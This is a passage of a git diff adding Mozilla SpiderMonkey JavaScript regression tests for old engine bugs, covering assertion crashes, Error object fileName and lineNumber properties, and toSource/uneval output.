+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 479551;
+var summary = 'Do not assert: (cx)->requestDepth || (cx)->thread == (cx)->runtime->gcThread';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof shapeOf != 'function')
+ {
+ print(expect = actual = 'Test skipped: requires shell');
+ }
+ else
+ {
+
+ var o = {a:3, b:2};
+ shapeOf(o);
+ var p = {};
+ p.a =3;
+ p.b=2;
+ shapeOf(p);
+
+
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-480579.js b/js/src/tests/js1_5/extensions/regress-480579.js
new file mode 100644
index 000000000..5f3295f18
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-480579.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 480579;
+var summary = 'Do not assert: pobj_ == obj2';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '12';
+
+ a = {x: 1};
+ b = {__proto__: a};
+ c = {__proto__: b};
+ for (i = 0; i < 2; i++) {
+ print(actual += c.x);
+ b.x = 2;
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-481516.js b/js/src/tests/js1_5/extensions/regress-481516.js
new file mode 100644
index 000000000..ab2c257c6
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-481516.js
@@ -0,0 +1,41 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 481516;
+var summary = 'TM: pobj_ == obj2';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '1111222';
+
+ a = {x: 1};
+ b = {__proto__: a};
+ c = {__proto__: b};
+ objs = [{__proto__: a}, {__proto__: a}, {__proto__: a}, b, {__proto__: a},
+ {__proto__: a}];
+ for (i = 0; i < 6; i++) {
+ print(actual += ""+c.x);
+ objs[i].x = 2;
+ }
+ print(actual += c.x);
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-488995.js b/js/src/tests/js1_5/extensions/regress-488995.js
new file mode 100644
index 000000000..f7abbe439
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-488995.js
@@ -0,0 +1,46 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 488995;
+var summary = 'Do not crash with watch, __defineSetter__ on svg';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof document == 'undefined')
+ {
+ print('Test skipped: requires browser.');
+ }
+ else
+ {
+ try
+ {
+ var o=document.createElementNS("http://www.w3.org/2000/svg", "svg");
+ var p=o.y;
+ p.watch('animVal', function(id, oldvar, newval) {} );
+ p.type='xxx';
+ p.__defineSetter__('animVal', function() {});
+ p.animVal=0;
+ }
+ catch(ex)
+ {
+ }
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-50447-1.js b/js/src/tests/js1_5/extensions/regress-50447-1.js
new file mode 100644
index 000000000..688692b09
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-50447-1.js
@@ -0,0 +1,173 @@
+/* -*- tab-width: 8; indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * vim: set ts=8 sts=4 et sw=4 tw=99:
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/*
+ * SUMMARY: New properties fileName, lineNumber have been added to Error objects
+ * in SpiderMonkey. These are non-ECMA extensions and do not exist in Rhino.
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=50447
+ *
+ * 2005-04-05 Modified by bclary to support changes to error reporting
+ * which set default values for the error's fileName and
+ * lineNumber properties.
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 50447;
+var summary = 'Test (non-ECMA) Error object properties fileName, lineNumber';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ testRealError();
+ test1();
+ test2();
+ test3();
+ test4();
+
+ exitFunc('test');
+}
+
+// Normalize filenames so this test can work on Windows. This
+// function is also used on strings that contain filenames.
+function normalize(filename)
+{
+ // Also convert double-backslash to single-slash to handle
+ // escaped filenames in string literals.
+ return filename.replace(/\\{1,2}/g, '/');
+}
+
+function testRealError()
+{
+ /* throw a real error, and see what it looks like */
+ enterFunc ("testRealError");
+
+ try
+ {
+ blabla;
+ }
+ catch (e)
+ {
+ if (e.fileName.search (/-50447-1\.js$/i) == -1)
+ reportCompare('PASS', 'FAIL', "expected fileName to end with '-50447-1.js'");
+
+ reportCompare(60, e.lineNumber,
+ "lineNumber property returned unexpected value.");
+ }
+
+ exitFunc ("testRealError");
+}
+
+
+function test1()
+{
+ /* generate an error with msg, file, and lineno properties */
+ enterFunc ("test1");
+
+ var e = new InternalError ("msg", "file", 2);
+ reportCompare ("(new InternalError(\"msg\", \"file\", 2))",
+ e.toSource(),
+ "toSource() returned unexpected result.");
+ reportCompare ("file", e.fileName,
+ "fileName property returned unexpected value.");
+ reportCompare (2, e.lineNumber,
+ "lineNumber property returned unexpected value.");
+
+ exitFunc ("test1");
+}
+
+
+function test2()
+{
+ /* generate an error with only msg property */
+ enterFunc ("test2");
+
+ /* note this test incorporates the path to the
+ test file and assumes the path to the test case
+ is a subdirectory of the directory containing jsDriver.pl
+ */
+ var expectedLine = 109;
+ var expectedFileName = 'js1_5/extensions/regress-50447-1.js';
+ if (typeof document != "undefined") {
+ expectedFileName = document.location.href.
+ replace(/[^\/]*(\?.*)$/, '') +
+ expectedFileName;
+ }
+ var e = new InternalError ("msg");
+ reportCompare ("(new InternalError(\"msg\", \"" +
+ expectedFileName + "\", " + expectedLine + "))",
+ normalize(e.toSource()),
+ "toSource() returned unexpected result.");
+ reportCompare (expectedFileName, normalize(e.fileName),
+ "fileName property returned unexpected value.");
+ reportCompare (expectedLine, e.lineNumber,
+ "lineNumber property returned unexpected value.");
+
+ exitFunc ("test2");
+}
+
+
+function test3()
+{
+ /* generate an error with only msg and lineNo properties */
+
+ /* note this test incorporates the path to the
+ test file and assumes the path to the test case
+ is a subdirectory of the directory containing jsDriver.pl
+ */
+
+ enterFunc ("test3");
+
+ var expectedFileName = 'js1_5/extensions/regress-50447-1.js';
+ if (typeof document != "undefined") {
+ expectedFileName = document.location.href.
+ replace(/[^\/]*(\?.*)$/, '') +
+ expectedFileName;
+ }
+
+ var e = new InternalError ("msg");
+ e.lineNumber = 10;
+ reportCompare ("(new InternalError(\"msg\", \"" +
+ expectedFileName + "\", 10))",
+ normalize(e.toSource()),
+ "toSource() returned unexpected result.");
+ reportCompare (expectedFileName, normalize(e.fileName),
+ "fileName property returned unexpected value.");
+ reportCompare (10, e.lineNumber,
+ "lineNumber property returned unexpected value.");
+
+ exitFunc ("test3");
+}
+
+
+function test4()
+{
+ /* generate an error with only msg and filename properties */
+ enterFunc ("test4");
+
+ var expectedLine = 163;
+
+ var e = new InternalError ("msg", "file");
+ reportCompare ("(new InternalError(\"msg\", \"file\", " + expectedLine + "))",
+ e.toSource(),
+ "toSource() returned unexpected result.");
+ reportCompare ("file", e.fileName,
+ "fileName property returned unexpected value.");
+ reportCompare (expectedLine, e.lineNumber,
+ "lineNumber property returned unexpected value.");
+
+ exitFunc ("test4");
+}
diff --git a/js/src/tests/js1_5/extensions/regress-50447.js b/js/src/tests/js1_5/extensions/regress-50447.js
new file mode 100644
index 000000000..32044a8ed
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-50447.js
@@ -0,0 +1,134 @@
+// |reftest| skip -- obsolete test
+/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/*
+ * SUMMARY: New properties fileName, lineNumber have been added to Error objects
+ * in SpiderMonkey. These are non-ECMA extensions and do not exist in Rhino.
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=50447
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 50447;
+var summary = 'Test (non-ECMA) Error object properties fileName, lineNumber';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ testRealError();
+ test1();
+ test2();
+ test3();
+ test4();
+
+ exitFunc('test');
+}
+
+
+function testRealError()
+{
+ /* throw a real error, and see what it looks like */
+ enterFunc ("testRealError");
+
+ try
+ {
+ blabla;
+ }
+ catch (e)
+ {
+ if (e.fileName.search (/-50447\.js$/i) == -1)
+ reportCompare('PASS', 'FAIL',
+ "expected fileName to end with '-50447.js'");
+
+ reportCompare (83, e.lineNumber,
+ "lineNumber property returned unexpected value.");
+ }
+
+ exitFunc ("testRealError");
+}
+
+
+function test1()
+{
+ /* generate an error with msg, file, and lineno properties */
+ enterFunc ("test1");
+
+ var e = new InternalError ("msg", "file", 2);
+ reportCompare ("(new InternalError(\"msg\", \"file\", 2))",
+ e.toSource(),
+ "toSource() returned unexpected result.");
+ reportCompare ("file", e.fileName,
+ "fileName property returned unexpected value.");
+ reportCompare (2, e.lineNumber,
+ "lineNumber property returned unexpected value.");
+
+ exitFunc ("test1");
+}
+
+
+function test2()
+{
+ /* generate an error with only msg property */
+ enterFunc ("test2");
+
+ var e = new InternalError ("msg");
+ reportCompare ("(new InternalError(\"msg\", \"\"))",
+ e.toSource(),
+ "toSource() returned unexpected result.");
+ reportCompare ("", e.fileName,
+ "fileName property returned unexpected value.");
+ reportCompare (0, e.lineNumber,
+ "lineNumber property returned unexpected value.");
+
+ exitFunc ("test2");
+}
+
+
+function test3()
+{
+ /* generate an error with only msg and lineNo properties */
+ enterFunc ("test3");
+
+ var e = new InternalError ("msg");
+ e.lineNumber = 10;
+ reportCompare ("(new InternalError(\"msg\", \"\", 10))",
+ e.toSource(),
+ "toSource() returned unexpected result.");
+ reportCompare ("", e.fileName,
+ "fileName property returned unexpected value.");
+ reportCompare (10, e.lineNumber,
+ "lineNumber property returned unexpected value.");
+
+ exitFunc ("test3");
+}
+
+
+function test4()
+{
+ /* generate an error with only msg and filename properties */
+ enterFunc ("test4");
+
+ var e = new InternalError ("msg", "file");
+ reportCompare ("(new InternalError(\"msg\", \"file\"))",
+ e.toSource(),
+ "toSource() returned unexpected result.");
+ reportCompare ("file", e.fileName,
+ "fileName property returned unexpected value.");
+ reportCompare (0, e.lineNumber,
+ "lineNumber property returned unexpected value.");
+
+ exitFunc ("test4");
+}
diff --git a/js/src/tests/js1_5/extensions/regress-543839.js b/js/src/tests/js1_5/extensions/regress-543839.js
new file mode 100644
index 000000000..ce968bfba
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-543839.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Igor Bukanov
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 543839;
+var summary = 'js_GetMutableScope caller must lock the object';
+var actual;
+var expect = 1;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+function test()
+{
+ for (var i = 0; i != 100; ++i)
+ var tmp = { a: 1 };
+ return 1;
+}
+
+if (typeof evalcx == 'undefined')
+{
+ print('Skipping. This test requires evalcx.');
+ actual = expect;
+} else {
+ test();
+ test();
+ test();
+ actual = evalcx("test()", this);
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-90596-001.js b/js/src/tests/js1_5/extensions/regress-90596-001.js
new file mode 100644
index 000000000..9813b31d7
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-90596-001.js
@@ -0,0 +1,265 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 28 August 2001
+ *
+ * SUMMARY: A [DontEnum] prop, if overridden, should appear in toSource().
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=90596
+ *
+ * NOTE: some inefficiencies in the test are made for the sake of readability.
+ * Sorting properties alphabetically is done for definiteness in comparisons.
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 90596;
+var summary = 'A [DontEnum] prop, if overridden, should appear in toSource()';
+var cnCOMMA = ',';
+var cnLBRACE = '{';
+var cnRBRACE = '}';
+var cnLPAREN = '(';
+var cnRPAREN = ')';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var obj = {};
+
+
+status = inSection(1);
+obj = {toString:9};
+actual = obj.toSource();
+expect = '({toString:9})';
+addThis();
+
+status = inSection(2);
+obj = {hasOwnProperty:"Hi"};
+actual = obj.toSource();
+expect = '({hasOwnProperty:"Hi"})';
+addThis();
+
+status = inSection(3);
+obj = {toString:9, hasOwnProperty:"Hi"};
+actual = obj.toSource();
+expect = '({toString:9, hasOwnProperty:"Hi"})';
+addThis();
+
+status = inSection(4);
+obj = {prop1:1, toString:9, hasOwnProperty:"Hi"};
+actual = obj.toSource();
+expect = '({prop1:1, toString:9, hasOwnProperty:"Hi"})';
+addThis();
+
+
+// TRY THE SAME THING IN EVAL CODE
+var s = '';
+
+status = inSection(5);
+s = 'obj = {toString:9}';
+eval(s);
+actual = obj.toSource();
+expect = '({toString:9})';
+addThis();
+
+status = inSection(6);
+s = 'obj = {hasOwnProperty:"Hi"}';
+eval(s);
+actual = obj.toSource();
+expect = '({hasOwnProperty:"Hi"})';
+addThis();
+
+status = inSection(7);
+s = 'obj = {toString:9, hasOwnProperty:"Hi"}';
+eval(s);
+actual = obj.toSource();
+expect = '({toString:9, hasOwnProperty:"Hi"})';
+addThis();
+
+status = inSection(8);
+s = 'obj = {prop1:1, toString:9, hasOwnProperty:"Hi"}';
+eval(s);
+actual = obj.toSource();
+expect = '({prop1:1, toString:9, hasOwnProperty:"Hi"})';
+addThis();
+
+
+// TRY THE SAME THING IN FUNCTION CODE
+function A()
+{
+ status = inSection(9);
+ var s = 'obj = {toString:9}';
+ eval(s);
+ actual = obj.toSource();
+ expect = '({toString:9})';
+ addThis();
+}
+A();
+
+function B()
+{
+ status = inSection(10);
+ var s = 'obj = {hasOwnProperty:"Hi"}';
+ eval(s);
+ actual = obj.toSource();
+ expect = '({hasOwnProperty:"Hi"})';
+ addThis();
+}
+B();
+
+function C()
+{
+ status = inSection(11);
+ var s = 'obj = {toString:9, hasOwnProperty:"Hi"}';
+ eval(s);
+ actual = obj.toSource();
+ expect = '({toString:9, hasOwnProperty:"Hi"})';
+ addThis();
+}
+C();
+
+function D()
+{
+ status = inSection(12);
+ var s = 'obj = {prop1:1, toString:9, hasOwnProperty:"Hi"}';
+ eval(s);
+ actual = obj.toSource();
+ expect = '({prop1:1, toString:9, hasOwnProperty:"Hi"})';
+ addThis();
+}
+D();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+/*
+ * Sort properties alphabetically -
+ */
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = sortThis(actual);
+ expectedvalues[UBound] = sortThis(expect);
+ UBound++;
+}
+
+
+/*
+ * Takes string of form '({"c", "b", "a", 2})' and returns '({"a","b","c",2})'
+ */
+function sortThis(sList)
+{
+ sList = compactThis(sList);
+ sList = stripParens(sList);
+ sList = stripBraces(sList);
+ var arr = sList.split(cnCOMMA);
+ arr = arr.sort();
+ var ret = String(arr);
+ ret = addBraces(ret);
+ ret = addParens(ret);
+ return ret;
+}
+
+
+/*
+ * Strips out any whitespace from the text -
+ */
+function compactThis(text)
+{
+ var charCode = 0;
+ var ret = '';
+
+ for (var i=0; i<text.length; i++)
+ {
+ charCode = text.charCodeAt(i);
+
+ if (!isWhiteSpace(charCode))
+ ret += text.charAt(i);
+ }
+
+ return ret;
+}
+
+
+function isWhiteSpace(charCode)
+{
+ switch (charCode)
+ {
+ case (0x0009):
+ case (0x000B):
+ case (0x000C):
+ case (0x0020):
+ case (0x000A): // '\n'
+ case (0x000D): // '\r'
+ return true;
+ break;
+
+ default:
+ return false;
+ }
+}
+
+
+/*
+ * strips off parens at beginning and end of text -
+ */
+function stripParens(text)
+{
+ // remember to escape the parens...
+ var arr = text.match(/^\((.*)\)$/);
+
+ // defend against a null match...
+ if (arr != null && arr[1] != null)
+ return arr[1];
+ return text;
+}
+
+
+/*
+ * strips off braces at beginning and end of text -
+ */
+function stripBraces(text)
+{
+ // remember to escape the braces...
+ var arr = text.match(/^\{(.*)\}$/);
+
+ // defend against a null match...
+ if (arr != null && arr[1] != null)
+ return arr[1];
+ return text;
+}
+
+
+function addBraces(text)
+{
+ return cnLBRACE + text + cnRBRACE;
+}
+
+
+function addParens(text)
+{
+ return cnLPAREN + text + cnRPAREN;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-90596-002.js b/js/src/tests/js1_5/extensions/regress-90596-002.js
new file mode 100644
index 000000000..ccd267a11
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-90596-002.js
@@ -0,0 +1,265 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 28 August 2001
+ *
+ * SUMMARY: A [DontEnum] prop, if overridden, should appear in uneval().
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=90596
+ *
+ * NOTE: some inefficiencies in the test are made for the sake of readability.
+ * Sorting properties alphabetically is done for definiteness in comparisons.
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 90596;
+var summary = 'A [DontEnum] prop, if overridden, should appear in uneval()';
+var cnCOMMA = ',';
+var cnLBRACE = '{';
+var cnRBRACE = '}';
+var cnLPAREN = '(';
+var cnRPAREN = ')';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var obj = {};
+
+
+status = inSection(1);
+obj = {toString:9};
+actual = uneval(obj);
+expect = '({toString:9})';
+addThis();
+
+status = inSection(2);
+obj = {hasOwnProperty:"Hi"};
+actual = uneval(obj);
+expect = '({hasOwnProperty:"Hi"})';
+addThis();
+
+status = inSection(3);
+obj = {toString:9, hasOwnProperty:"Hi"};
+actual = uneval(obj);
+expect = '({toString:9, hasOwnProperty:"Hi"})';
+addThis();
+
+status = inSection(4);
+obj = {prop1:1, toString:9, hasOwnProperty:"Hi"};
+actual = uneval(obj);
+expect = '({prop1:1, toString:9, hasOwnProperty:"Hi"})';
+addThis();
+
+
+// TRY THE SAME THING IN EVAL CODE
+var s = '';
+
+status = inSection(5);
+s = 'obj = {toString:9}';
+eval(s);
+actual = uneval(obj);
+expect = '({toString:9})';
+addThis();
+
+status = inSection(6);
+s = 'obj = {hasOwnProperty:"Hi"}';
+eval(s);
+actual = uneval(obj);
+expect = '({hasOwnProperty:"Hi"})';
+addThis();
+
+status = inSection(7);
+s = 'obj = {toString:9, hasOwnProperty:"Hi"}';
+eval(s);
+actual = uneval(obj);
+expect = '({toString:9, hasOwnProperty:"Hi"})';
+addThis();
+
+status = inSection(8);
+s = 'obj = {prop1:1, toString:9, hasOwnProperty:"Hi"}';
+eval(s);
+actual = uneval(obj);
+expect = '({prop1:1, toString:9, hasOwnProperty:"Hi"})';
+addThis();
+
+
+// TRY THE SAME THING IN FUNCTION CODE
+function A()
+{
+ status = inSection(9);
+ var s = 'obj = {toString:9}';
+ eval(s);
+ actual = uneval(obj);
+ expect = '({toString:9})';
+ addThis();
+}
+A();
+
+function B()
+{
+ status = inSection(10);
+ var s = 'obj = {hasOwnProperty:"Hi"}';
+ eval(s);
+ actual = uneval(obj);
+ expect = '({hasOwnProperty:"Hi"})';
+ addThis();
+}
+B();
+
+function C()
+{
+ status = inSection(11);
+ var s = 'obj = {toString:9, hasOwnProperty:"Hi"}';
+ eval(s);
+ actual = uneval(obj);
+ expect = '({toString:9, hasOwnProperty:"Hi"})';
+ addThis();
+}
+C();
+
+function D()
+{
+ status = inSection(12);
+ var s = 'obj = {prop1:1, toString:9, hasOwnProperty:"Hi"}';
+ eval(s);
+ actual = uneval(obj);
+ expect = '({prop1:1, toString:9, hasOwnProperty:"Hi"})';
+ addThis();
+}
+D();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+/*
+ * Sort properties alphabetically -
+ */
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = sortThis(actual);
+ expectedvalues[UBound] = sortThis(expect);
+ UBound++;
+}
+
+
+/*
+ * Takes string of form '({"c", "b", "a", 2})' and returns '({"a","b","c",2})'
+ */
+function sortThis(sList)
+{
+ sList = compactThis(sList);
+ sList = stripParens(sList);
+ sList = stripBraces(sList);
+ var arr = sList.split(cnCOMMA);
+ arr = arr.sort();
+ var ret = String(arr);
+ ret = addBraces(ret);
+ ret = addParens(ret);
+ return ret;
+}
+
+
+/*
+ * Strips out any whitespace from the text -
+ */
+function compactThis(text)
+{
+ var charCode = 0;
+ var ret = '';
+
+ for (var i=0; i<text.length; i++)
+ {
+ charCode = text.charCodeAt(i);
+
+ if (!isWhiteSpace(charCode))
+ ret += text.charAt(i);
+ }
+
+ return ret;
+}
+
+
+function isWhiteSpace(charCode)
+{
+ switch (charCode)
+ {
+ case (0x0009):
+ case (0x000B):
+ case (0x000C):
+ case (0x0020):
+ case (0x000A): // '\n'
+ case (0x000D): // '\r'
+ return true;
+ break;
+
+ default:
+ return false;
+ }
+}
+
+
+/*
+ * strips off parens at beginning and end of text -
+ */
+function stripParens(text)
+{
+ // remember to escape the parens...
+ var arr = text.match(/^\((.*)\)$/);
+
+ // defend against a null match...
+ if (arr != null && arr[1] != null)
+ return arr[1];
+ return text;
+}
+
+
+/*
+ * strips off braces at beginning and end of text -
+ */
+function stripBraces(text)
+{
+ // remember to escape the braces...
+ var arr = text.match(/^\{(.*)\}$/);
+
+ // defend against a null match...
+ if (arr != null && arr[1] != null)
+ return arr[1];
+ return text;
+}
+
+
+function addBraces(text)
+{
+ return cnLBRACE + text + cnRBRACE;
+}
+
+
+function addParens(text)
+{
+ return cnLPAREN + text + cnRPAREN;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-96284-001.js b/js/src/tests/js1_5/extensions/regress-96284-001.js
new file mode 100644
index 000000000..64a21f0e0
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-96284-001.js
@@ -0,0 +1,148 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 03 September 2001
+ *
+ * SUMMARY: Double quotes should be escaped in Error.prototype.toSource()
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=96284
+ *
+ * The real point here is this: we should be able to reconstruct an object
+ * from its toSource() property. We'll test this on various types of objects.
+ *
+ * Method: define obj2 = eval(obj1.toSource()) and verify that
+ * obj2.toSource() == obj1.toSource().
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 96284;
+var summary = 'Double quotes should be escaped in Error.prototype.toSource()';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var obj1 = {};
+var obj2 = {};
+var cnTestString = '"This is a \" STUPID \" test string!!!"\\';
+
+
+// various NativeError objects -
+status = inSection(1);
+obj1 = Error(cnTestString);
+obj2 = eval(obj1.toSource());
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(2);
+obj1 = EvalError(cnTestString);
+obj2 = eval(obj1.toSource());
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(3);
+obj1 = RangeError(cnTestString);
+obj2 = eval(obj1.toSource());
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(4);
+obj1 = ReferenceError(cnTestString);
+obj2 = eval(obj1.toSource());
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(5);
+obj1 = SyntaxError(cnTestString);
+obj2 = eval(obj1.toSource());
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(6);
+obj1 = TypeError(cnTestString);
+obj2 = eval(obj1.toSource());
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(7);
+obj1 = URIError(cnTestString);
+obj2 = eval(obj1.toSource());
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+
+// other types of objects -
+status = inSection(8);
+obj1 = new String(cnTestString);
+obj2 = eval(obj1.toSource());
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(9);
+obj1 = {color:'red', texture:cnTestString, hasOwnProperty:42};
+obj2 = eval(obj1.toSource());
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(10);
+obj1 = function(x) {function g(y){return y+1;} return g(x);};
+obj2 = eval(obj1.toSource());
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(11);
+obj1 = new Number(eval('6'));
+obj2 = eval(obj1.toSource());
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(12);
+obj1 = /ad;(lf)kj(2309\/\/)\/\//;
+obj2 = eval(obj1.toSource());
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-96284-002.js b/js/src/tests/js1_5/extensions/regress-96284-002.js
new file mode 100644
index 000000000..7cecd2645
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-96284-002.js
@@ -0,0 +1,148 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 03 September 2001
+ *
+ * SUMMARY: Double quotes should be escaped in uneval(new Error('""'))
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=96284
+ *
+ * The real point here is this: we should be able to reconstruct an object
+ * obj from uneval(obj). We'll test this on various types of objects.
+ *
+ * Method: define obj2 = eval(uneval(obj1)) and verify that
+ * obj2.toSource() == obj1.toSource().
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 96284;
+var summary = 'Double quotes should be escaped in Error.prototype.toSource()';
